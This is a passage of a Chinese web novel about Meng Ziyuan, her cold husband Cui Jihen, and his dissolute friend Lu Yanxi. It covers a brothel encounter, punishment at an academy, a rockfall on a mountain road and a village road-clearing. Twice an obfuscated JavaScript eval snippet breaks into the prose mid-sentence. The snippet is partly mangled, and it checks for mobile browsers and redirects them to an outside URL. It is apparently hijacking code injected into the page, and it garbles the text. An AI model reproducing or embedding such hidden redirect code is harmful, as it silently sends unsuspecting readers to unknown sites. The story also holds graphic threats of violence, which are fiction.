“可不是,他那媳妇儿发起火来天都能让她撅过去。”这话陆晏奚可真没夸张,他至今都记得孟訾鸢为了阻止崔寂恨读书,使出一哭二闹三上吊的法子,整个左家村都被她搅得鸡犬不宁。有一回,还双手叉腰指着陆晏奚的鼻子骂,说他要是再来纠缠崔寂恨就把他往死里揍,活活一个母老虎。 簌簌被吓得捂嘴,陆晏奚安慰,两人当着崔寂恨的面眉来眼去的。 “陆筠,玩够了没?”崔寂恨冷着脸问。 一般直呼大名就证明崔寂恨没耐心了,陆晏奚悻悻地起身,说自己要回书苑了,改日再来找她,簌簌姑娘只好一步三回头地离开。人一走,陆晏奚腆着脸哄了哄崔寂恨,“这么大火气作甚,我随你回去就是了,好不好?” 崔寂恨推攘了他一把。 “别推别推,我走就是了,”陆晏奚遗憾地摇着折扇,“可惜簌簌姑娘我还未一亲芳泽,改日我一定要尝到。” - 两人出了天香楼就要回书苑。 陆晏奚想一出是一出,突然又说要去吃酒,反正回去都要挨罚,不吃白不吃。崔寂恨烦他罗里吧嗦,一只手提溜着他的衣领,生拉硬拽拖死猪似的把人往书苑拉,突然陆晏奚惊呼几声,“停停停,暮春,你猜我看见谁了?” “不猜。” “真不猜?”陆晏奚看好戏不怕引火烧身,“可我瞧着那人要活吃了你,贤弟,你怕是要被打喽。” 崔寂恨脚步顿住,皱眉看向天香楼外的街道,一辆马车就停在中央,轿帘被掀起,露出里面那张熟悉的脸。 孟訾鸢就这么隔着几步的距离看向这边,一会儿看看天香楼的招牌和露着香肩的姑娘,一会儿看看他,眨巴眨巴眼。 崔寂恨松了松手里的力道。 陆晏奚趁机从他魔爪下挣脱,理了理自己的衣裳,看热闹不嫌事大地准备煽风点火添油加醋几句,不料轿帘后面出现了另一张脸。清水芙蓉般的姑娘沉默又难过地盯着他看,这位不是跟他有过口头娃娃亲的娄小姐还能是谁。 陆晏奚跟耗子见了猫似的,狗狗祟祟地挪到崔寂恨身后,小声耳语,“暮春,我突然想起来书苑还有些事,我先行一步,你处理完家事再回书苑寻我。” 不料刚抬起一只脚,背后传来一道幽幽的声音:“你给我站住。” 他一僵,慢腾腾地回过头。 一眼对上恨不得咬死他的孟訾鸢,“陆、晏、奚。” “是不是你怂恿我夫君逛青楼的?不说清楚了我今个儿跟你没完!”孟訾鸢努力在外人面前扮演以前的悍妇形象,撸起袖子作势要揍陆晏奚。 “不不不……”方才还幸灾乐祸的陆晏奚连连摇头,求救地看向崔寂恨。 崔寂恨报复地勾了勾唇,“就是他。” 这人居然栽赃他! 陆晏奚跳进黄河也洗不清,苦着一张脸解释,“我真没喊暮春来逛青楼,是我自己逃学逛,他奉书苑之命来将我带回去。” “真的?” “不信你问暮春。”陆晏奚真求他了。 崔寂恨这才施舍地点点头,“嗯。” 孟訾鸢总算收起要教训他的凶相,小步子挪回崔寂恨身边,看样子是放过了他。没等陆晏奚喘口气,轿子又下来一个人,径直走到他身前,轻声唤,“陆公子。” 陆晏奚生无可恋地闭了闭眼,怎么刚走一个又来一个。 娄知微千言无语汇聚成一句,“逃学会挨罚的,你下次莫要在书苑讲学的时候来逛了……可以等到休沐时。” 亲口说出让心上人闲暇时刻逛窑子的话,比刀割娄知微的心还疼,可她还能怎么办呢? 陆晏奚本就不喜她,是她一厢情愿。 如若她真惹恼了他,陆晏奚打死都不愿意与她定亲,她又该如何是好。娄知微知道自个儿在情事上面是个糊涂的,不喜欢正经儿郎,偏要喜欢拈花惹草的浪荡子,可感情的事并不是她想怎样就怎样。 陆晏奚展开长扇挡脸,支支吾吾,“知道了。娄小姐要无事,在下先告辞了。” 他们二人每回见面时,说不了几句陆晏奚就要走,娄知微都习惯了,黯淡地点了点头,去看孟訾鸢,“鸢儿,你可要同我一起回去?” “再等一下。” 孟訾鸢小小地扯了下崔寂恨的衣袖,低声道:“我有几句话同我夫君说。” “好,我去轿中等你。”娄知微走时还看了眼陆晏奚,只是他一眼未曾看她。 陆晏奚也有眼力见地先回书苑了,将地方腾给了崔寂恨与孟訾鸢。 外人离去,崔寂恨态度淡了些,“你要说什么就快说,我时间紧。” “没什么别的话,还是方才逛青楼的事情。” 崔寂恨皱眉看她一眼,别过脸去:“我没逛青楼。” “我知道。”孟訾鸢这点还是相信崔寂恨的。 面前这个男人心肠冷如毒蝎,话本子里写他位极人臣后,不少官员为了将他拖下水,专门送去各种各样的美人去诱惑他,这些美人全都是训练有素的杀手,妖艳魅惑,无人逃脱她们的手掌心,最擅长在男人沉迷美色时一刀毙命。 然而崔寂恨瞧都不瞧一眼,尽数斩杀。 他嗜血,还恶趣味,将美人的皮全部剥下来做成一个个彩色灯笼,反赠回去给那些官员,那些老匹夫哪见过这样残忍变态的手法,被吓得连日做噩梦,尿湿了裤子。 这样一个视女色如无物的人怎么会逛青楼。 孟訾鸢小心翼翼地牵住他的衣袖,摇了摇,“但我也明白书苑课业繁重,你有时候心中郁闷,我又不在你身边,你去青楼寻姑娘也是可以理解的。夫君,鸢儿支持你去逛青楼。” 最后一句话说出来,周围的温度都冷了冷。 崔寂恨将衣袖从她手中抽出来,垂睨的视线冷冰冰的,“我逛不逛青楼还轮不到你操心,管好你自己。” “倒是你。”他突然走近一步,宽阔的肩膀像一座巨山沉沉地压下来。 孟訾鸢声音抖了抖,“我怎么了?” “你最好给我老实点,要是被我发现你在外偷人,辱没崔家的门风,”崔寂恨薄唇贴在她耳侧,温柔动听的声线说出恐怖如斯的话,“我就把那人的皮剥下来,做成篱笆,终日钉在崔家的院墙上,让你日日夜夜都能看着他,好不好?” 疯子,孟訾鸢在心里骂。 她把头埋得低低的,“我知道了,我会老实乖乖得等你休沐回来。” - 另一边,回到书苑的陆晏奚立马被抓去了思过堂,被徐堂长好一番耳提面命的训斥,说他丢陆老爷的脸,丢兰芷书苑的脸,让他在思过堂罚跪一天,还要罚抄兰芷书苑的苑规一百遍,什么时候抄完什么时候才能出去。 罚跪罚抄什么的对陆晏奚来说都是小儿科了,他自懂事以来,顽劣不堪,越长大越混账,陆老爷罚他跪的地板都凹了一块,罚他抄写的本子堆起来足足有三层楼高。旁的学生听见这么重的处罚脸都白了,他反倒优哉游哉的,“不用听夫子们无聊的讲学了。” 思过堂还有其他受罚的学生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498143|202606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一听这话,啧啧摇头,“陆兄,你还真是心宽啊。” “人生短短数十年,浪得几年是几年,美人美酒缺一不可,我受点罚无所谓。”陆晏奚跪着抄书嘴皮子也不见歇。 说到美人,隔壁几个学生窃笑两声,“陆兄御女无数,颇有经验,我们有个美人册,你不妨帮我们掌掌眼?”说着从罚抄的书下抽出一个薄薄的册子,献宝似的递过去,“我们几个就是因为看美人册被夫子逮住了,这才来思过堂受罚的,本来有五六册,夫子全没收了,还好我机灵,事先藏了一本!” 陆晏奚接过册子翻了翻,是些用毛笔勾勒的美人图,有吃饭的喝水的梳妆的,不过全都没穿衣裳。画画之人水平烂得彻底,笔迹粗糙,因为是臆想中的美女,除了墨迹勾勒出的身体轮廓,其他都是一片空白,脸也没有,看得人不仅毫无欲望反而犯恶心。 陆晏奚嫌弃地撇撇嘴,看了一眼就不看了,“谁画的?” “我画的,”那人不好意思地挠挠头,“陆兄觉得如何?” “挺好。”陆晏奚敷衍完,就要将画册送还,一阵微风从半掩的窗隙钻进来,吹动画册停留在其中一页。陆晏奚本不欲再看这倒胃口的东西,目光却停留在那一页的美人图上。 其余的美人都没脸,只有这页有。 还很熟悉。 陆晏奚将画册又收了回来,指着这页上的美人脸,“这是谁?” “我告诉你,你可别同其他人说,”那人不怀好意地笑,“这是云岫书舍崔寂恨家里的美娇娘,上回我瞅见她来给崔寂恨送饭,那身段那脸美得跟苏妲己似的。” 这些人是近一年才入兰芷书苑的,不清楚陆晏奚和崔寂恨三年前是同窗且私交甚笃的关系,这才敢在他面前不遮不掩。那人说着说着心猿意马地想要上手摸,陆晏奚“啪”的一声合起书册,似笑非笑,“美,美甚,借我一阅可好,几日后还你。” “陆兄客气,拿去便是。”那人清楚陆晏奚的家世,有意与他攀关系,伸手去环他的肩膀。 陆晏奚微不可查地躲开,表情冷淡,“多谢。” 那几人的刑罚较轻,罚跪两个时辰就出了思过堂,临走前交代陆晏奚还书就去青云书舍。陆晏奚左耳朵进右耳多出,实则连那人名字都没记下,待那几人身影消失,重新翻开画册,将画着孟訾鸢脸的那一页撕下,揉成团塞进袖子里,打算挨完罚就用烛火给烧了,避免再传去引祸端。 陆晏奚这一罚就罚到了休沐的那日。 他跪得膝盖一片青肿,手腕也罚抄得直打哆嗦,总算是将刑罚给熬完了。几天来他只啃了几个冰冷的窝窝头和几壶隔夜茶,一出思过堂饿得要哭爹喊娘,崔寂恨最清楚不过他那个德行,早早地在思过堂外边等着了,见他出来,把手里的几个肉包子丢过去,“快吃,还要赶路回去,别走到半道上饿死了。” 陆晏奚揣着包子就狼吞虎咽,“还是暮春懂得疼人。” 崔寂恨听得恶寒,直皱眉,“别用你跟相好的那套来对我,给你买肉包子是因为你借我去参加乡试的路费。” 乡试在江南贡院举行,落霞镇到那块有些路程,崔寂恨一时无法拿出路费,陆晏奚知道他那个人无功不受禄不肯白要,于是就说借给他,等他日后高中了再还。 “路费的事你不用担心,我早早与我爹娘交代好了,陆家准备了一辆马车,你与我赶往江南贡院路上的银钱、吃穿都安排妥当,今日休沐你先回家休整两天,两日后我们在镇口汇合,一同赶往贡院参加乡试,”陆晏奚眯眼警告他,“这次你可莫再出乱子了。” 知道他指的是孟訾鸢,崔寂恨道:“不会。” 两人边聊边出书苑,走到门口,陆晏奚还是饿,提议去天香楼饱腹一顿,问崔寂恨去不去。崔寂恨还未答话,脚步却因瞥见台阶下面站着的人而微微顿住。 “你到底去不去啊?”陆晏奚追问。 崔寂恨沉默了下,“不去。” “为何不去,马上要乡试了,你就不陪我去逍遥一回?”陆晏奚笑得像是逼良为娼的恶公子,忽然手中摇动的折扇一停,抬眸往前看。 雨雾朦胧中,书苑外站在一道撑着伞的倩影,伞面稍稍倾斜,露出孟訾鸢等待已久的脸,她冲他展唇一笑,如微波荡漾湖面,陆晏奚的心忽地乱了一下。 然而她看得并非是他,孟訾鸢捻着裙摆走到崔寂恨身边,踮起脚尖,将伞面盖在他的头顶,一句短小的话里裹满了见到自家夫君的绵绵情意,“暮春,我来接你回家了。” 17. 感化10% 崔寂恨还没说话,陆晏奚先道:“既然弟妹来接了,暮春就随弟妹一起回去吧,路上小心些,我去天香楼吃酒了,先行告辞。” 言罢,逃也似的低头就走。 孟訾鸢本就恼他逛青楼的事,一听天香楼瞬间联想起那日娄知微回府后闷闷不乐的样子,气得一个飞瞪过去,“站住。” 陆晏奚逃离的脚硬生生僵在半空,“弟妹还是事?” “吃酒就吃酒,落霞镇这么多酒楼,为什么偏要去天香楼?我看你不是去吃酒,你是去看姑娘吧,”孟訾鸢看他面儿上端得是朗月清风,实则寻花问柳轻浮放荡,不给他好脸,“陆筠,身为男子,应该以洁身自好为傲。” 陆晏奚怔了怔,想的却是,她竟知道他的名。 他又抬出那副没脸没皮的样子,“弟妹教训的是,晏奚日后一定少去天香楼。” 少去又不是不去,孟訾鸢被他气得脸颊鼓起,还想与他争辩时,手中的伞突然被人夺走,崔寂恨闪身到她面前,高大的身影挡住她看向陆晏奚的视线,低睫问她,“走不走?” 陆晏奚趁机溜了,孟訾鸢闷闷地收回视线,“走。” “你要还想与他说话就跟去,”崔寂恨转身就走,“我回家。” 语气凶巴巴的,孟訾鸢不懂他哪来的火气,跟了上去,伸手扯住他的袖子,“没想跟他说话,只是看不惯他有婚约还游蜂戏蝶的做派,那天在天香楼撞到你们二人,知微回府后一直闷闷不乐。” 她轻声叹气,“她喜欢陆晏奚,看他留恋其他女子很伤心。” 崔寂恨听到“喜欢”二字无异于听了个笑话,崔家覆灭后抹去了他的感情、抽走了他的良知,如今的他不过是一个冷血无情的躯壳,如同死物。听孟訾鸢说的话,他不咸不淡地回应:“是吗?” “当然,没有女子看见自己的心上人逛青楼还笑得出来的。”孟訾鸢说完隐约觉得哪里不对劲,一抬眸,迎上崔寂恨似笑非笑的神色,很快想起上回她“支持他逛青楼”的话。 这不是自己打自己的脸吗? 孟訾鸢悻悻地找补,“我那是怕夫君憋久了难受。” 崔寂恨扫她一眼,“憋了三年早已习惯,何来难受一说。” “……” 孟訾鸢不敢看他,他们除了成亲那晚的圆房还算和谐,其余屈指可数的每一次都可谓“艰难受阻”,而主要问题就出现在她身上,不是抱怨崔寂恨过于壮硕,就是怨怼他要戳到她天灵盖了,要么就是她自己如同干涸了数十年的沙漠,行进艰难。 可说到底也不怪她,要怪就怪这话本子的存在。 崔寂恨是男主,她却不是女主,自然方方面面都要与他“不适配”,好凸显日后崔寂恨与嘉合郡主的“合适”,让他对嘉合郡主爱之入骨,男主女主就是最配的。至于旁人是死是活,都无所谓,他们这些配角是好是坏、是死是活全凭话本子的一句话,他们一个个都只是男女主角走向成功路上的过客、棋子、垫脚石。 - 出了落霞镇就是山路,逼仄崎岖,前几日不知道哪儿来的一群人上山伐树,撬动了一块本就不结实的巨石,当天巨石就轰轰地滚了下来,把山路砸了个大坑,通往左家村的路也这么堵了。崔寂恨和孟訾鸢近些日子都住在落霞镇里,没有听到半点风声,走到巨石前头才发现回家的路被堵了。 孟訾鸢在巨石前面徘徊几圈,“没路了,怎么办?” 现在掉头重新绕路的话,回到崔家就是半夜了,且深秋霜露重,到了晚上路面结成一层薄薄的冰面,走路打滑容易出事,崔寂恨走到碎石堆积的地方,“搬开上面的碎石头,从这里越过去。” 孟訾鸢看着比她头还大的石块,犹豫道:“能行吗?” 崔寂恨不说话,卷起袖子到小臂,岔开长腿,弯腰搬起一块石头丢到一边,再重复上面的动作数十回,很快高高堆积的碎石被清理出一个空隙来。 孟訾鸢睁大双眼,打心底一喜,“通了。” 崔寂恨连搬了数十块石头,面不红气不喘像个没事人,走近查看几下,“太窄了,我过不去,”他两手握住一块凸起的石块,想要将它挪开,这块石头若是移走两人都能过去了,孟訾鸢见状也上前一起帮忙搬,然而努力许久石头卡在里面半分不动,崔寂恨松开手,“卡死了,挪不动,需要有人去对面把石缝松一松。” 孟訾鸢下一句便道:“我过去松石缝。” 崔寂恨轻挑眉梢,“确定?” “确定。” 方才石头孟訾鸢搬不动,只能在一旁看着,现下有了她能帮上忙的自然不会推辞,她摘下包袱,撩起碍手碍脚的衣裙,深吸一口气收腹从空袭里钻了过去。巨石已经越过,她完全可以就这么回家,但她没有,而是守诺地走到角落处用一根树枝捅石缝,她捅的力度越大,被卡死的石头摇摆的越快,很快就要落下来。 孟訾鸢语气雀跃,“夫君,你很快就可以过来了。” 却没注意到她头顶上方的一块石头也跟着摇晃。 崔寂恨目光从孟訾鸢兴奋的小脸挪开,往上移到她头顶的碎石上,只要再过一会儿就会砸下来,正中孟訾鸢的天灵盖,当场一命呜呼。他漠然地看着,没有任何提醒的意思,孟訾鸢是死是活全在他一念之间。 “马上就好了,夫君你再等等,”孟訾鸢还在咬牙加快搅石缝,终于那块凸起挡路的石块掉在地上,“好了,可以过来了。” 与此同时,她头顶上方的石块摇摇欲坠,像一柄悬起来的利剑。 崔寂恨不过去,也不喊她过来,如同一个没有感情的木桩杵在那。孟訾鸢喊了几声也不见他过来,奇怪地弯了弯脑袋,突然头顶“沙沙”两声,像是什么东西炸开了,她猛地仰起头,正好看见一块巨石朝她正面砸下来,这要是砸中了,整颗头都会稀巴烂。 那一刻,孟訾鸢呼吸骤停了,大脑一片空白作不出任何反应。 电光火石间,一只手从背后推了她一把,崔寂恨钻过缝隙后一手拽住她闪身到一边,碎石哗啦啦地滚落在地,“轰轰轰”的响声犹如地震,不出一会儿地面全是飞扬的黄沙尘土,呛得孟訾鸢咳嗽不已,“咳咳,咳咳……” 她心有余悸地望着崔寂恨,磕磕巴巴地说:“谢、谢。” 全然不知就在刚刚,面前这个人曾将她的生死置之度外。 崔寂恨从未有此刻这般觉得她那双亮晶晶的眸子如此刺眼,松开她,侧身避过,“走吧。” - 崔家好几日没住人,桌面都蒙上一层浮灰了。 崔寂恨放下行囊,打湿一块布巾擦桌擦椅。 孟訾鸢没去扰他,正巧喜喜留在娄府给猫妈妈照顾,她双手得空,便趁着天还没黑,揣着一袋子铜板“叮铃哐啷”地去了左家村的几个大娘家,她知道她名声不好,所以也不多言,直接拿出铜板说做生意,原本几个拉着脸的大娘一听有钱赚,各个变了脸色,问孟訾鸢要什么。 “给我几袋面粉就行。” “你要面粉做什么?” “我做什么自有我的打算,你把东西给我就成。”孟訾鸢坦荡荡的把钱给了几位大娘,为了感谢,每人多给几个铜板,这下可给几位大娘乐得合不拢嘴,对她的态度也没那么坏了。 “崔家媳妇儿,以前也不是我们要跟你作对,实在是你太凶了些,”其中一位大娘地位最高,便由她开口,“你要是好好过日子,不去招惹村子里的男人,我们也还是能好好相处,邻里邻居的你帮我我帮你,你说是不是?” “是是是,几位大娘说的话訾鸢记下了。”孟訾鸢仿佛变了个人,不仅没叉腰骂回去,反而乖顺听劝,屈膝行了个礼走了。 几个大娘面面相觑,一时间有些惭愧,对方到底是个十九岁的姑娘家,年纪轻不懂事犯点小错也没什么,反倒是他们这些年过半百的人还斤斤计较。 孟訾鸢心满意足地驮着小半袋面粉回了崔家。 只待第二日实行她的计划。 翌日,天刚亮,村里的公鸡打着鸣,崔寂恨就穿过浓浓的朝雾,如同往常一样背着农具去了地里干活。孟訾鸢一般会接着睡,左右她没什么事,睡到日上三竿天昏地暗都没关系,不过今日崔寂恨一走,她就跟着起了。 洗漱穿衣,再就是直奔灶房,生火烧水。 上回还剩了些牛肉熬成的油,她又切了些腊肉丁,掺着香葱水炒成下饭小菜。再然后就是一大费时费力的工序了,揉面团、发酵、下锅蒸煮,两个时辰过去,几屉香喷喷的白面馒头全部出锅。 孟訾鸢将馒头和菜用两个大份食盒分装,一手挽一个去了村长家,也就是昨天其中一个卖她面粉的“茂大娘”家。 村长茂老在家劈柴,见孟訾鸢来还以为花了眼,“你来做什么!”语气实在算不上客气。 “村长,我来是想请您帮个忙。”孟訾鸢拿出十足的谦逊姿态。 “不帮不帮,出去,再不出去我就撵人了。”茂老作势抄起斧头吓唬孟訾鸢,这不少的动静惊扰了里面的茂大娘,她匆匆跑出来摁住茂老的斧头,随后戒备地看向孟訾鸢,“你怎么又来了,昨个儿面粉不是卖给你了吗?” 听见自家老婆子和孟訾鸢这种不守妇道的人做生意,茂老更气了。 场面一时有些守不住,孟訾鸢心想今日就是磨破嘴皮子这件事都要做,忽然屋内又走出一位老者,抚着胡须,“发生何事吵吵闹闹的?” 茂老缓了缓脸色,“老先生,惊扰到你了,我这就把人赶走好让您看黄道吉日,”旋即瞪了一眼孟訾鸢,“还不快走,老先生在给我儿子看成亲的好日子,你莫来打搅!” 没想到老夫子却摆了摆手,看向孟訾鸢的眼睛眯了眯,“是你啊。” “先生,几时不见,你身子可还好?”孟訾鸢眼珠转了转,作出与老夫子相熟的样子,心底暗暗觉得老夫子在是件好事。 “尚可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498144|202606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你今日找来村长家有何事?” 时机来了,孟訾鸢拱手道:“我夫君不日就要出发参加乡试,只是没想到村子去镇上的山路被石头挡了,我担心碎石越积越多,到时候耽误了我夫君赶路。今日来找村长是希望他能号召村子里的男人,一同出力挪开挡住路面的石头,訾鸢感激不尽。” 一番话说得情真意切,娓娓道来,老夫子满意地点点头。茂大娘由于昨天的事也对孟訾鸢改观了几分,见状,替她在茂老那儿劝了几句,茂老放下了斧头,半信半疑,“你说的是真是假?” “每一句都是发自肺腑。” 孟訾鸢将手臂的食盒打开,馒头和菜的香味飘了出来,她又从袖子里掏出钱袋子,“清理山石的任务不轻松,我不会让乡里乡亲白干,我给大家准备了吃食,还有工钱。” 有钱就很好说话了,茂老虽看不上孟訾鸢,可却敬重读书人。崔寂恨是左家村唯一一个念过书的年轻人,又是赶着去科举,若是真中了他这个村长也跟着沾光,于情于理帮帮忙也是应该。他看着孟訾鸢,语气还是硬邦邦的,“崔家媳妇儿,我帮忙是看崔相公子的面上,与你无关。你也最好说话算话,要是让老头发现你在背后捣鬼生事,且不说崔相公会不会护着你,我也一定会替死去的崔老夫人教训你这个不孝的儿媳,绑了手脚去沉塘!” 左家村是有沉塘这一说的,往年偷汉子被夫家逮住,或者汉子在家打媳妇儿的,要么就是偷鸡摸狗犯了大错的都会被绑手绑脚沉塘,杀鸡儆猴,这两年村子太平才没出过这种事。 孟訾鸢感激地朝三人鞠了一躬,“多谢。” “事不宜迟,今日便开始吧。” - 茂老发动了七八户人家去清理山路,去的都是年轻力壮的汉子,深秋干活比炎热的夏天好,出出劲身上还暖和些,一群汉子嘴里吆喝着“一二三”,一边齐力搬石头。 孟訾鸢就在旁边递擦汗的毛巾,端茶倒水,加油鼓劲,一番相处下来,村子里的男人对她改观不少,渐渐有好脸色了,偶尔说笑几句。 这件事传到崔寂恨耳朵里的时候,已是一个时辰后了。 他放下了手里的活儿,赶去了山路上。 走到山坡边就听见一群汉子的吆喝声,里面还夹杂两句女人的喊声,崔寂恨认得是孟訾鸢的声音。他走近了些,很快看见端茶倒水忙个不停的孟訾鸢,寒冷的深秋她累得满头大汗,后背被汗打湿一大片,乌发和眉毛上染了一层薄薄的霜,似是累极,她蹲下来歇了歇,蹲的正是昨日险些丧命的地方。 “擦汗。”有人道。 “来了。”孟訾鸢捻着布巾过去,擦得正是多日未见的李戈。 其实孟訾鸢也没料到李戈会在里头。 不过转念一想,李戈是身高腿长劲瘦的少年郎,被村长叫上也在意料之中。 她的任务就是在旁边给汉子们擦汗倒水,别的汉子她都擦,唯独李戈不擦,那就有点瓜田李下的意味了。孟訾鸢不搞区别对待那一套,反倒落人话柄,她同对待其他人一样,给李戈倒茶、擦汗,象征性地问一句,“累不累,要不要歇会儿?” 连铸三天铁器的少年气都不喘一下,搬些石头岂会累,这会儿却笑意盈盈地盯着她,“有些累了。” “去那边坐坐吧。” 李戈坐了下来,拍拍旁边的石墩,望着孟訾鸢,“你也坐。” 孟訾鸢是想坐,他们站了多久,她就站了多久,可是那位置离李戈太近,她摇摇头,“我不累,站会儿没事。” “你腿在打摆子。”李戈毫不留情地戳穿她。 “……” 孟訾鸢只好硬着头皮在他身旁坐下。 两人谁也没说话,气氛诡异,且李戈一直若有似无地盯着她看,孟訾鸢被他看得浑身不自在,主动打开食盒,转移他的注意力,“你饿了吗,要不要吃个馒头垫一垫,还有的忙活。” 说起来,李戈只尝过一次她做的东西,他接过馒头咬了口,“跟上回一样好吃。” 他口中的上回指的是那日他生病无力做饭,孟訾鸢给他煮了碗面,清汤寡水不咸不淡的,但李戈就是觉得好吃。十七岁的少年郎第一回吃到心上人煮的面,便觉得是这辈子吃过最美味的食物。 孟訾鸢不知如何作答,只能装作没听见,李戈咬着馒头,心下酸涩,情难自控地伸手去勾她蜷缩的手指头,“鸢姐姐,我想吃你做的面了。” 温热的触碰惊得她一抖,下一瞬,孟訾鸢就被人大力拽起,跌入一个结实的胸膛里。一回头,撞入崔寂恨黑沉沉的眸光中,他只看了她一眼,就将视线落在李戈身上,表情蓦地转为阴鸷,活像一匹露着凶光的恶狼,似要将李戈撕碎扯烂,吸光他的血,嚼碎他的骨头,将他的胃一点点碾成碎渣,让他再也不能惦记孟訾鸢的任何东西。 陌生却强烈的情绪在胸口横冲直撞,崔寂恨危险地眯了眯眼,“你再说一遍,你要吃什么?”